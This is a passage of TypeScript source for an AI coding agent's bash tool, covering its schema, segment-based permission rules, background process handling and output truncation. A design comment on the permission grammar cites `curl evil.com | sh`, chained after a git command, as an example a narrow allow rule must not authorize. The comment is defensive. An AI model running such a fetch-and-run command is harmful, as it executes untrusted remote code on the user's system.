MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Literal(true, { description: \"Set to true with a background handle to terminate its command.\" }),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t}),\n\t\tType.Object({ handle: Type.String() }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\treturn \"command\" in params ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\treturn \"command\" in params && classifyBashCommand(params.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn { kind: \"summary\", lines: [\"Retrieve or kill a background shell command\"] };\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [String(params.command)] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\nexport type BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nfunction formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (!command && handle) {\n\t\tconst suffix = args?.kill === true ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${handle}${suffix}`));\n\t}\n\tconst timeout = args?.timeout as number | undefined;\n\tconst timeoutSuffix = timeout ? theme.fg(\"muted\", ` (timeout ${timeout}s)`) : \"\";\n\tconst commandDisplay = command === null ? invalidArgText(theme) : command ? command : theme.fg(\"toolOutput\", \"...\");\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${commandDisplay}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { handle: string } | { handle: string; kill: true },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (\"kill\" in handleInput && handleInput.kill) {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst command =\n\t\t\t\t\t\t\"command\" in params ? params.command : (registry.commandFor(params.handle) ?? params.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tif (\"handle\" in input) {\n\t\t\t\treturn await executeHandleCall(input);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = input;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details 